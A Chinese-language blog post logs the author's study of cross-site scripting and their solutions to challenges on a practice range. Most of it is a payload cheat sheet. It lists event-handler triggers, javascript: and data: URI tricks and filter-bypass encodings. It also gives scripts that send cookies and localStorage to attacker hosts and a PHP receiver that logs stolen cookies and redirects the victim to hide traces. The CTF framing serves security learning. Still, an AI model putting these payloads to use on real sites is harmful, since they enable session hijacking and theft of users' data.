记一次xss漏洞的学习和好靶场的刷题日志

本文最后更新于 2026年4月16日 上午

前置知识-XSS漏洞

首先xss漏洞是攻击者通过在输入框内拼接,插入,执行恶意js代码导致的由前端逐渐转向后端的前端漏洞

而常见的注入点有:文件上传 jsonp的callback函数 富文本编辑器 用户名 用户资料/信息 评论区/聊天框 备注 后台配置项(网站标题 Logo链接等) 搜索框(以下是”xxx”的搜索结果) 报错(“xxx”输入存在错误/敏感字符),而文件上传又分为pdf,svg等类型的文件

能干的事却很多:

  1. 盗取用户Cookie
  2. 盗取用户输入/返回的敏感信息
  3. 挂广告/自动跳转广告页面/篡改页面从而劫持页面
  4. 配合CSRF, 让用户完成各种操作
  5. 让用户隐式访问别的网站造成DDOS
  6. 会话固定(让用户带有指定cookie进行登录, 从而用该cookie对账号进行接管)
  7. 蠕虫传播
  8. 病毒下载
  9. 本地RCE(旧版本浏览器)

传自大佬blog:XSS 攻击与过滤绕过方法 总结 - yuccun’s blog

首先是最基础的xss探测框架:

1
2
3
4
<!--远程包含js文件-->
<script src="http://127.0.0.1/1.js"></script>
<!--远程包含html文件-->
<iframe src="http://127.0.0.1/1.html"></iframe>

随后是基本框架:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<!--可使用onerror/onabort/onload的标签-->
onload直接触发
<iframe onload=alert(1);></iframe>
<script onload=alert(1);></script>
<body onload=alert(1);>
<svg onload=alert(1);>
<svg onload=alert(1);>或者其他payload不管用时,可以试试用/当分隔符
<embed src=1 onload=alert(1)> <!--需包含src属性(值任意)-->
onerror触发(使用正确的src/rel/href/data标签即可使用onload事件)
<img src=1 onerror=alert(1);> <!--需包含任意src属性-->
<link rel=stylesheet href=1 onerror=alert(1)> <!--必须包含正确的rel和错误的href属性-->
<video><source onerror=alert(1)> <!--需配合source标签-->
<audio src=1 onerror=alert(1);> <!--需包含src属性(值任意)-->
<object data=1 onerror=alert(1);> <!--需包含data属性(值任意)-->

<!--可使用onfocus/onblur/oninput/onchange/autofocus的标签(input标签演示)-->
<input onfocus=alert(1) autofocus>
<input onblur=alert(1) autofocus> <!--需点击输入框以外地方-->
<input onfocus=alert(1);> <!--需点击输入框-->
<input onblur=alert(1);> <!--需点击输入框,并点击输入框以外地方-->
<input oninput=alert(1);> <!--需点击输入框,并输入-->
<input onchange=alert(1);> <!--需点击输入框,并输入以后,点击输入框以外地方-->
其它(这里只演示onfocus搭配autofocus,还可使用类似上面的搭配)
<textarea onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus></select>
<button onfocus=alert(1) autofocus></button>
<a href= onfocus=alert(1) autofocus></a> <!--需包含href属性-->

<!-- 可使用oncontentvisibilityautostatechange -->
<a style=content-visibility:auto oncontentvisibilityautostatechange=alert(1)>
<h style=content-visibility:auto oncontentvisibilityautostatechange=alert(1)>
... (除了script/link/style外的几乎所有标签)

<!--其它-->
<details open ontoggle=alert(1);> //有open属性可自动触发,没有则要点击细节栏
<body onscroll=alert(1);> //滚动触发
<details ontoggle=alert(1);> //要点击细节栏
<body onscroll=alert(1);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
<div oncontextmenu=alert(1);>右键点我</div> //需要右键点击元素
<svg onmousewheel=alert(1)> //需要滚动元素
<form onreset=alert(1)><input type=reset></form> //需点击重置按钮

js伪协议 (注: js伪协议只能用在 部分可使用url作为值的属性中) 可利用标签: iframe/a/form

1
2
3
<iframe src=javascript:alert(1);></iframe>
<a href=javascript:alert(1);>xxx</a> <!--要点击xxx字符串-->
<form action=Javascript:alert(1)><input type=submit> <!--要点提交按钮-->

data伪协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<script src="data:,alert%28%2Fxss%2F%29"></script>
<script src="data:;base64,YWxlcnQoL3hzcy8p"></script>

<iframe src="data:text/html,%3Cscript%3Ealert%281%29%3C%2Fscript%3E"></iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
<iframe src="/admin">
<iframe src="javascript:">
<iframe src="data:text/html,hello">
<iframe srcdoc="">
<iframe src="data:text/plain;base64">
<iframe src="data:image/png;base64">
<iframe src="data:application/pdf;base64">
<iframe src="data:application/octet-stream;base64">
<iframe src="data:image/svg+xml;base64">
<iframe src="data:text/html;base64">

<object data="data:text/html,%3Cscript%3Ealert%281%29%3C%2Fscript%3E"></object>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

<embed src="data:text/html,%3Cscript%3Ealert%281%29%3C%2Fscript%3E">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

随后重点来了(以下都得在服务器里实现):

先来一个简单的链接服务器的payload:

1
<script>document.location='http://服务器IP/cookie_get.php?cookie='+document.cookie</script>

获取cookie

1
2
3
4
5
6
location.href='http://公网ip:端口号/?'+document.cookie
location.assign('http://公网ip:端口号/?'+document.cookie)
location.replace('http://公网ip:端口号/?'+document.cookie)
window.open('http://公网ip:端口号/?'+document.cookie)
通过XMLHttpRequest/fetch
通过动态创建资源标签(img/iframe/script/link/embed/video/audio标签),并用其src属性进行访问

获取Localstorage/Sessionstorage

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 遍历localStorage存储项
for (let i = 0; i < localStorage.length; i++) {
const key = localStorage.key(i);
const value = localStorage.getItem(key);
// 发送数据
new Image().src = `http://attacker.com/?s=${key}=${value}`
}

// 遍历sessionStorage存储项
for (let i = 0; i < sessionStorage.length; i++) {
const key = sessionStorage.key(i);
const value = sessionStorage.getItem(key);
// 发送数据到攻击者服务器
new Image().src = `http://attacker.com/?s=${key}=${value}`;
}

配合csrf使用

1
2
3
4
5
用资源标签(img/iframe/script/link/embed/video/audio标签),并用其src属性进行访问 造成GET请求

利用csrf的poc
配合XMLHttpRequest/fetch 造成GET/POST等请求
配合动态创建资源标签(img/iframe/script/link/embed/video/audio标签),并用其src属性进行访问 4造成GET/POST等请求

关键词绕过

定字符过滤绕过
  • 空格过滤绕过

    1. //**/%09代替
    2. 利用引号(标签中选项的值若用引号包裹, 则无需与其它选项用空格隔开)
  • 引号过滤绕过

    1. 使用反引号代替(仅js, js中的字符串中引号可用反引号代替)
    2. 不用引号(html中选项对应的值可无需引号包裹)
    3. 使用String.fromCharCode(<ASCII码>,...)方法创建字符串
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    -- 空格过滤绕过 ---
    <input/onfocus=alert(1);>
    <input/**/onfocus=alert(1);>
    <input/type='text'onfocus=alert(1);>

    注:若事件选项对应的js代码没有用引号包裹,则不能用/和/**/与后续html选项隔开,因为若这样做系统会直接将后续内容也当作js代码的一部分,所以要不将后续的选项移到前面来,要不加上引号或其它空白符来截断 系统认定为js代码的 范围

    -- 引号过滤绕过 --
    <input type=text onfocus=alert(1);>
    <input type="text" onfocus=alert(`hello`);>
    <input type="text" onfocus=alert(String.fromCharCode(104,101,108,108,111));>

    -- 点过滤 --
    <input type=text onfocus=alert(document['cookie']);>
关键字过滤(标签/属性)
  1. 大小写绕过(标签及选项对大小写不敏感)
  2. 假闭合 >放入属性值中, 让waf以为标签已闭合, 可绕过 不过滤对应标签, 而检测对应标签内是否有危险属性、内容的waf 注: >必须使用引号包裹, 不然真的会闭合
  3. 内部文本标签假不闭合 使用内部会被当成纯文本而不会解析标签, 这样的标签有 title/textarea/xmp/style/noscript开始标签放最前, 结束标签放属性值中, 让waf以为这标签没闭合, 以为后续不会解析, 从而绕过
  4. 多尖括号绕过 基于浏览器特性, 其会以最后一个<作为标签的开始标志, 可绕过精确匹配标签格式的waf
  5. 杂属性绕过 让标签加上杂属性, 可绕过精确匹配标签格式的waf
  6. 等号两边空白符 属性=属性值的等号两边可以插入任意空白符(空格 制表符 换行符), 而不影响解析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
-- 大小写绕过(标签名/属性名) --
<iNPuT oNfOCus="alert(1);">

-- 假闭合(属性名/属性值/其它内容) --
<iframe x=">" src=javascript:alert(1);></iframe>

-- 优先级标签(标签名/属性名/属性值/其它内容) --
<title><img src=</title>><img src=x onerror="alert(`xss`);">
<textarea><img x=</textarea>><img src=1 onerror="alert(`xss`);">
<xmp><img x=</xmp>><img src=1 onerror="alert(`xss`);">
<style><img src=</style>><img src=1 onerror="alert(`xss`);">
<noscript><img x=</noscript>><img src=1 onerror="alert(`xss`);">
//因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效

-- 多尖括号(标签名) --
<<script>alert("xss");<</script>

-- 杂属性绕过(标签名) --
<script ttt=aaa bbb=ccc>alert(1)</script>

-- 等号两边空白符(属性名) --
<input onfocus =
"alert(1);">
关键字过滤(js/属性值)
  1. 编码绕过
  2. 拼接字符串, 再用eval()函数执行, 或者在中括号中用于引用属性/方法(所有的函数都是window对象的方法)
  3. 假注释(让waf以为后面js已注释, 可绕过对js的检测)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
-- 编码绕过(属性值) --
实体编码 (html可识别被实体编码的选项值, script中不行)
<input onfocus=&#97;&#108;&#101;&#114;&#116;&lpar;&apos;&#104;&#105;&apos;&rpar;&semi;>
<input onfocus="alert&lpar;2&rpar;">
<!-- script中无法执行 --> <script>&#97;&#108;&#101;&#114;&#116;&lpar;&#49;&rpar;</script>
通过伪协议编码(仅限用于可填url的选项)
<iframe src="data:text/html,url编码"></iframe>
<iframe src="data:text/html;base64,base64编码"></iframe>

-- 编码绕过(js) --
url编码/ascii编码/base64编码 配合eval和对应解码函数
<input onfocus="eval(unescape('url编码'))"> <!-- url编码 -->
<input onfocus="eval(String.fromCharCode(<ascii码>,...))"> <!-- Ascii编码 -->
<input onfocus="eval(atob('base64编码'))"> <!-- base64编码 -->
Unicode编码(\u)/hex编码(\x) 配合eval函数(js能自动解析包含这两种编码的字符串)
<input onfocus=eval('Unicode编码或hex编码')>

--- 拼接绕过(js) --
<input onfocus="a='ale';b='rt';c='(1)';eval(a+b+c)";>
<input onfocus=window["ev"+"al"]("ale"+"rt(1)")>
<input onfocus=window["al"+"ert"](document["co"+"okie"]);>

-- 假注释(js) --
<input onfocus="a='//';alert(1);">

-- 尖括号绕过 --
&lt;&gt;== < 和 >

实践(靶场:http://www.loveli.com.cn/findbug?keyword=XSS)

首先提示了flag在cookie里面,于是就可以用xss来获取cookie了

现在自己的服务器里面传上回弹xss的🐎

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
// 接收并记录偷取的Cookie
$cookie = $_GET['cookie'] ?? '';
$ip = $_SERVER['REMOTE_ADDR'];
$time = date('Y-m-d H:i:s');
$log = "[$time] IP: $ip | Cookie: $cookie\n";

// 保存到文件(确保目录可写)
file_put_contents('/var/www/html/cookies.txt', $log, FILE_APPEND);

// 可选:重定向到正常页面,隐藏攻击痕迹
header('Location: https://www.baidu.com');
?>

随后构造payload:

1
<script>document.location='http://我的ip/cookie_get.php?cookie='+document.cookie</script>

随后就可以cat一下回显数据了,发现flag:

登陆框存在反射型XSS

这题讲一下思路

这边发现登录框有一个前端验证js,提取一下有用的信息

发现服务器将输入的username参数值直接反射到HTML中的input标签的value属性中

于是构造payload

1
<img src=x onerror="alert(document.cookie);fetch('/flag').then(r=>r.text()).then(d=>alert(d))">

解释一下

首先利用简单的alert发现被拦截,然后就可以试试onload,onerror,img等事件处理器绕过script标签

接着试着抓取用户cookie来触发xss漏洞(因为本靶场的通关条件为触发xss漏洞)

所以这题考察我们对于xss漏洞过滤的绕过

于是就有了更多绕过姿势:

1
2
3
<p>1</p>
"><p>1</p><"
"><script>alert(1)</script><"

等等等等一系列方式

另外再附上几条常见payload组合技:

1
2
3
4
5
6
7
<img src=# onerror='new image().src="http://VPS地址:1145/?"+btoa(document.cookie)"'>
<img src=x onerror="new Image().src='http://你的IP:1145/?c='+btoa(document.cookie)">
<video src=x onerror="new Image().src='http://ip:1145/'+encodeURIComponent(document.cookie)"></video>
<ImG sRc=x OnErRoR="new Image().src='http://你的IP:1145/'+window['d'+'ocument']['c'+'ookie']">
<scrscriptipt>fetch('http://ip:1145/?c='+document.cookie);</scrscriptipt>
<ImG sRc=x OnErRoR="fetch('/',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'inputbox='+encodeURIComponent(window['d'+'ocument']['c'+'ookie'])})"> ---外带不一定出网
<img src=x onerror="fetch('http://IP:1145/'+encodeURIComponent(document.cookie))" style="display:none">

特殊情况


记一次xss漏洞的学习和好靶场的刷题日志
https://azumisaki.github.io/2026/04/05/xss/
作者
AzumiSaki
发布于
2026年4月5日
许可协议